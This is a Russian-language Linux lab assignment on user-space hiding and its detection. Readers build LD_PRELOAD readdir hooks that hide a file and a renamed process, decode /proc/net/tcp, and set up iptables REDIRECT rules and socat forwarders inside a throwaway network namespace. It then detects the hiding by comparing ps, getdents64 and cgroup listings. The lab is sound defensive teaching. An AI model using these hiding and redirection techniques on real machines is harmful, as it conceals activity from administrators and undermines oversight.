Вторая половина — сеть. Читатель разбирает формат /proc/net/tcp, сопоставляет inode сокета с PID через /proc/<pid>/fd, сравнивает с выводом ss и lsof. Затем в сетевом пространстве имён строит правило REDIRECT, проверяет перенаправление порта, смотрит iptables-save и conntrack, и собирает простой форвардер на socat, чтобы увидеть, как выглядит «порт, которого нет».

Завершается работа обнаружением: сравнение списков, контрольные суммы правил, auditd, уборка. Все действия с сетью выполняются в unshare -rnm и не затрагивают сеть машины; правила iptables существуют только внутри пространства имён и исчезают вместе с ним.

Цель работы

После выполнения работы получится:

• получать список процессов тремя независимыми способами и объяснять расхождения;
• собирать перехватчик readdir и скрывать файл или процесс от утилит, использующих libc;
• доказывать, что прямой getdents64 обходит перехват, и объяснять почему;
• читать /proc/net/tcp, декодировать адреса, порты и состояния;
• сопоставлять сокет с процессом по inode через /proc/<pid>/fd;
• строить правила REDIRECT и DNAT в изолированном пространстве имён;
• собирать форвардер на socat и описывать, что видно на каждом узле;
• обнаруживать сокрытие по расхождению интерфейсов и контрольным суммам.

Теоретический минимум

Нужны разделы «procfs: как ядро отдаёт список процессов», «Сокрытие в пространстве пользователя», «Сеть: как ядро показывает соединения» и «Туннели и эксфильтрация» темы 7. Дополнительно используются темы 4 (права), 5 (процессы), 6 (дескрипторы), 11 (systemd) и 15 (сеть) основной программы.

Перечень оснащения

Ubuntu 24.04 LTS или WSL2, пакеты build-essential, iproute2, iptables, nftables, socat, netcat-openbsd, lsof, util-linux, procps. Архив окружения lr-env содержит перехватчик hide.c, программу прямого обхода getdents.c, перехватчик процессов hide-pid.c, сопоставитель сокетов socket-owners.py, сборщик песочницы netns-lab.sh и уборку cleanup.sh. Распакуйте архив в ~/lab-apocrypha-07.

sudo apt update && sudo apt install -y build-essential iproute2 iptables nftables socat netcat-openbsd lsof util-linux procps

Порядок выполнения работы

Работайте в каталоге ~/lab-apocrypha-07. Для каждой части в «Журнале работы» фиксируйте: что ожидалось, что получилось, чем объясняется расхождение. Все сетевые опыты — только в unshare -rnm; правила, созданные вне пространства имён, могут нарушить сеть машины.

Подготовка

cd ~/lab-apocrypha-07
bash netns-lab.sh --check

Скрипт проверяет наличие unshare, iptables, socat и печатает версии. Полноценная песочница создаётся в части 5.

Часть 1. Три списка процессов

Задание

1. Соберите список через ps:

   ps -eo pid= | sort -n > /tmp/list-ps.txt
   wc -l /tmp/list-ps.txt
   

2. Соберите список прямым обходом /proc:

   gcc -O2 -Wall -Wextra -o getdents getdents.c
   ./getdents /proc | grep -E '^[0-9]+$' | sort -n > /tmp/list-proc.txt
   wc -l /tmp/list-proc.txt
   

3. Соберите список из cgroup:

   cat /sys/fs/cgroup/system.slice/*/cgroup.procs 2>/dev/null | sort -un > /tmp/list-cgroup.txt
   wc -l /tmp/list-cgroup.txt
   

4. Сравните списки:

   comm -23 /tmp/list-proc.txt /tmp/list-ps.txt
   comm -23 /tmp/list-cgroup.txt /tmp/list-ps.txt
   

5. Объясните каждое расхождение: процессы, завершившиеся между вызовами; потоки; процессы, принадлежащие другим пользователям и видимые по-разному.

Что должно получиться

Три файла со списками и объяснение расхождений. В журнале — вывод comm и вывод о том, что списки не обязаны совпадать даже без сокрытия: это важно для дальнейших выводов.

Продвинутая часть

Повторите сбор списка в пространстве имён с hidepid=2 и объясните, что изменилось:

unshare -rnm --mount-proc bash -c 'mount -o remount,hidepid=2 /proc && ps aux'

Сравните с выводом снаружи. Объясните, почему hidepid — это защита, а не сокрытие: ядро само не отдаёт записи, и перехватывать нечего. Проверьте, видит ли root все процессы внутри пространства имён.

Часть 2. Перехват readdir

Задание

1. Соберите перехватчик и подготовьте каталог:

   gcc -shared -fPIC -o hide.so hide.c -ldl
   mkdir -p work && cd work
   touch secret.txt visible.txt notes.txt
   cp ../hide.so .
   

2. Сравните вывод ls с перехватом и без:

   ls
   LD_PRELOAD=./hide.so ls
   

3. Проверьте другие утилиты, использующие libc:

   LD_PRELOAD=./hide.so find . -maxdepth 1 -type f | sort
   LD_PRELOAD=./hide.so tar -cf /tmp/test.tar .
   tar -tf /tmp/test.tar | grep secret || echo 'в архиве нет secret.txt'
   

4. Проверьте прямой обход:

   cp ../getdents .
   LD_PRELOAD=./hide.so ./getdents .
   

5. Объясните, почему ls и find обмануты, а getdents — нет. Обратите внимание: find использует readdir из libc, поэтому перехват на него действует.

Что должно получиться

ls и find не показывают secret.txt, getdents показывает. В журнале — объяснение разницы между библиотечным вызовом и системным.

Продвинутая часть

Соберите перехватчик, который скрывает файлы по шаблону (например, все имена, начинающиеся с secret), и проверьте его на каталоге с несколькими файлами. Затем добавьте перехват readdir64 и объясните, зачем он нужен: на 64-битной системе readdir и readdir64 — разные символы, и часть программ использует второй.

Часть 3. Сокрытие процесса

Задание

1. Соберите программу, которая называет себя secret-agent и спит:

   gcc -O2 -o agent agent.c
   ./agent &
   echo $! > /tmp/agent.pid
   

   В архиве окружения программа уже есть; если её нет, создайте:

   #include <string.h>
   #include <unistd.h>
   #include <sys/prctl.h>
   
   int main(void) {
       prctl(PR_SET_NAME, "secret-agent", 0, 0, 0);
       for (;;) pause();
       return 0;
   }
   

2. Убедитесь, что процесс виден:

   ps -p "$(cat /tmp/agent.pid)" -o pid,comm
   ls /proc | grep -x "$(cat /tmp/agent.pid)"
   

3. Соберите перехватчик процессов и проверьте его. Фильтр в нём сравнивает comm — имя процесса, а не cmdline: именно comm виден в /proc/<pid>/comm и в ps -o comm, и именно его проще всего подделать через prctl(PR_SET_NAME).

   gcc -shared -fPIC -o hide-pid.so hide-pid.c -ldl
   LD_PRELOAD=./hide-pid.so ls /proc | grep -x "$(cat /tmp/agent.pid)" || echo 'PID скрыт'
   LD_PRELOAD=./hide-pid.so ps aux | grep secret-agent || echo 'процесса нет в ps'
   

4. Проверьте прямой обход и cgroup:

   LD_PRELOAD=./hide-pid.so ./getdents /proc | grep -x "$(cat /tmp/agent.pid)" || echo 'getdents тоже не видит'
   grep -l "$(cat /tmp/agent.pid)" /sys/fs/cgroup/system.slice/*/cgroup.procs 2>/dev/null || echo 'в cgroup не найден'
   

5. Объясните, почему getdents и cgroup.procs ведут себя по-разному и что это значит для защитника.

Что должно получиться

PID исчезает из ls /proc и ps под перехватом, но остаётся виден прямому getdents (если процесс не попал в фильтр по другой причине) и в cgroup. В журнале — таблица «интерфейс — видит или нет».

Часть 4. Сокеты и их владельцы

Задание

1. Посмотрите таблицу сокетов и декодируйте две строки вручную:

   head -3 /proc/net/tcp
   

   Для каждой строки переведите local_address из hex: первые восемь знаков — адрес в обратном порядке байт, последние четыре — порт.

2. Сравните с выводом ss:

   ss -tulpn
   

3. Запустите слушатель и найдите его обоими способами:

   ncat -l 127.0.0.1 2222 &
   sleep 1
   ss -tulpn | grep 2222
   grep -i ':08AE' /proc/net/tcp
   

4. Сопоставьте сокет с процессом:

   python3 socket-owners.py | head -20
   

5. Объясните, почему ss и lsof могут показывать разные наборы процессов и что означает ? в выводе скрипта.

Что должно получиться

Декодированные адреса и порты, совпадающие записи в ss и /proc/net/tcp, сопоставление сокета с PID. В журнале — объяснение, что ss идёт через netlink, а скрипт — через /proc.

Продвинутая часть

Сравните inode сокета, который показывает ss -e, с записью в /proc/net/tcp для того же соединения. Объясните, почему inode может не совпадать (разные сокеты в момент снятия, TIME_WAIT, повторное использование) и как отличить это от сокрытия. Дополнительно проверьте, что показывает lsof -i для сокета, владелец которого вам недоступен, и объясните разницу между «нет доступа» и «нет сокета».

Часть 5. REDIRECT в пространстве имён

Задание

1. Войдите в изолированное пространство имён:

   unshare -rnm --propagation private bash
   

   Внутри поднимите loopback и проверьте, что видите пустую таблицу правил:

   ip link set lo up
   ip addr show lo
   iptables -t nat -L -n
   

2. Добавьте правило перенаправления:

   iptables -t nat -A OUTPUT -p tcp --dport 8080 -j REDIRECT --to-port 2222
   iptables -t nat -A PREROUTING -p tcp --dport 8080 -j REDIRECT --to-port 2222
   iptables -t nat -L OUTPUT -n -v
   iptables -t nat -L PREROUTING -n -v
   iptables-save
   

   Правило в OUTPUT действует на соединения с самой машины, в PREROUTING — на входящие извне. Локально сгенерированный пакет не проходит PREROUTING, поэтому для проверки на loopback нужно именно OUTPUT.

3. Запустите слушатель на 2222 и проверьте, что соединение на 8080 доходит до него:

   ncat -l 127.0.0.1 2222 --keep-open --exec "/bin/cat" &
   printf 'hello\n' | ncat -w1 127.0.0.1 8080
   

4. Посмотрите, что показывает ss и что — iptables-save:

   ss -tulpn
   iptables -t nat -L OUTPUT -n -v
   iptables -t nat -L PREROUTING -n -v
   

5. Объясните, почему слушающий порт в ss один, а доступных портов два, и как это выглядит для защитника.

6. Выйдите из пространства имён и убедитесь, что правила исчезли:

   exit
   iptables -t nat -L OUTPUT -n
   iptables -t nat -L PREROUTING -n
   

Что должно получиться

Правило REDIRECT, работающее перенаправление, ss, показывающий только 2222, и пустая таблица после выхода. В журнале — вывод iptables-save и объяснение, где хранится состояние правил.

Часть 6. Форвардер на socat

Задание

1. Соберите цепочку из двух портов: внешний 8080 и внутренний 2222.

   socat TCP-LISTEN:2222,bind=127.0.0.1,reuseaddr,fork EXEC:/bin/cat &
   socat TCP-LISTEN:8080,bind=127.0.0.1,reuseaddr,fork TCP:127.0.0.1:2222 &
   

2. Проверьте оба порта:

   printf 'one\n' | ncat -w1 127.0.0.1 2222
   printf 'two\n' | ncat -w1 127.0.0.1 8080
   ss -tulpn | grep -E '2222|8080'
   

3. Посмотрите, какие процессы видны и какие соединения установлены:

   ps -eo pid,comm,args | grep -E 'socat|ncat' | grep -v grep
   ss -tanp | grep -E '2222|8080'
   

4. Объясните, чем эта схема отличается от ssh -R: что видно на промежуточном узле, а что — только локально.

5. Остановите процессы и уберите за собой.

Что должно получиться

Два работающих порта, две записи в ss, два процесса socat. В журнале — сравнение с обратным SSH-туннелем и вывод о том, что локальный форвардер не создаёт исходящего соединения наружу.

Продвинутая часть

Соберите два сетевых пространства имён, соединённых парой veth, и повторите форвардер так, чтобы клиент находился в одном пространстве, а слушатель — в другом. Покажите, что видно на промежуточной стороне: адреса veth, записи в conntrack, правила iptables в каждом пространстве. Объясните, чем эта схема отличается от ssh -R по числу следов.

unshare -rnm --propagation private bash -c '
  mount -t tmpfs none /run
  ip link add veth0 type veth peer name veth1
  ip addr add 192.0.2.1/24 dev veth0
  ip link set veth0 up
  ip netns add peer
  ip link set veth1 netns peer
  ip -n peer addr add 192.0.2.2/24 dev veth1
  ip -n peer link set veth1 up
  ip -n peer link set lo up
  ip netns exec peer ping -c1 192.0.2.1
'

Часть 7. Обнаружение

Задание

1. Сравните списки процессов ещё раз, уже зная, как работает перехват:

   ./getdents /proc | grep -E '^[0-9]+$' | sort -n > /tmp/p1.txt
   ps -eo pid= | sort -n > /tmp/p2.txt
   comm -23 /tmp/p1.txt /tmp/p2.txt
   

2. Проверьте maps и environ подозрительного процесса:

   pid=$(cat /tmp/agent.pid 2>/dev/null || echo 1)
   grep -E 'hide|\.so' /proc/$pid/maps 2>/dev/null | head
   tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -i preload
   

3. Снимите контрольные суммы сетевых правил:

   unshare -rnm bash -c 'iptables-save | sha256sum; nft list ruleset | sha256sum'
   

4. Составьте таблицу: для каждого приёма из работы — интерфейс, который его видит, и команда проверки.

5. Объясните, какие из приёмов перестанут работать, если защитник использует статические утилиты и auditd.

Что должно получиться

Список расхождений с объяснением, таблица обнаружения, контрольные суммы. В журнале — вывод о том, что полное сокрытие в user space невозможно.

Продвинутая часть

Соберите собственный скрипт проверки, который сравнивает четыре источника — ps, прямой getdents64, cgroup.procs и ss -tulpn — и печатает только расхождения. Запустите его до и после включения перехватчика и объясните, какие строки появились. Скрипт должен корректно работать, когда один из источников недоступен (нет прав, нет cgroup), и не падать на пустых списках.

Часть 8. Уборка

Задание

1. Остановите учебные процессы:

   kill "$(cat /tmp/agent.pid 2>/dev/null)" 2>/dev/null || true
   pkill -f 'ncat -l 127.0.0.1 2222' 2>/dev/null || true
   pkill -f 'socat TCP-LISTEN' 2>/dev/null || true
   

2. Удалите файлы:

   bash cleanup.sh
   

3. Убедитесь, что в сети не осталось правил и слушателей:

   ss -tulpn | grep -E '2222|8080' || echo 'чисто'
   iptables -t nat -L PREROUTING -n
   

Что должно получиться

Чистый каталог, отсутствие слушателей и правил, объяснение, почему правила из пространства имён исчезают автоматически.

Журнал работы

Для каждой части запишите:

1. Что предполагалось увидеть.
2. Фактический вывод.
3. Объяснение расхождения.
4. Для частей 2–6 — какой интерфейс видит приём, а какой нет.

Отдельно ответьте на три вопроса:

• Почему find обманывается перехватом readdir, а getdents — нет?
• Почему ss не читает /proc/net/tcp и что это меняет для сокрытия?
• Какие три независимых источника показывают, что процесс существует?

Контрольные вопросы

1. Какая функция ядра формирует список PID в /proc и в какой момент она вызывается?
2. Что получает утилита от getdents64 и как readdir превращает это в записи?
3. Почему перехват readdir действует на find, но не на статически собранный ls?
4. Почему ss не зависит от procfs и через какой интерфейс он получает данные?
5. Что означает поле st в /proc/net/tcp и какие значения соответствуют LISTEN и ESTABLISHED?
6. Как по inode сокета найти процесс, которому он принадлежит?
7. Чем REDIRECT отличается от DNAT и в каких цепочках работает каждый?
8. Зачем нужны MARK и policy routing при TPROXY?
9. Почему после выхода из unshare -rnm правила iptables исчезают?
10. Что видно на промежуточном узле при ssh -R и что — на скомпрометированном хосте?
11. Почему локальный форвардер на socat не создаёт исходящего соединения и в чём его отличие от туннеля?
12. Какие интерфейсы покажут процесс, скрытый перехватом readdir?
13. Почему контрольная сумма iptables-save полезна для обнаружения правки правил?
14. Что означает ? в выводе скрипта сопоставления сокетов и какие причины за ним стоят?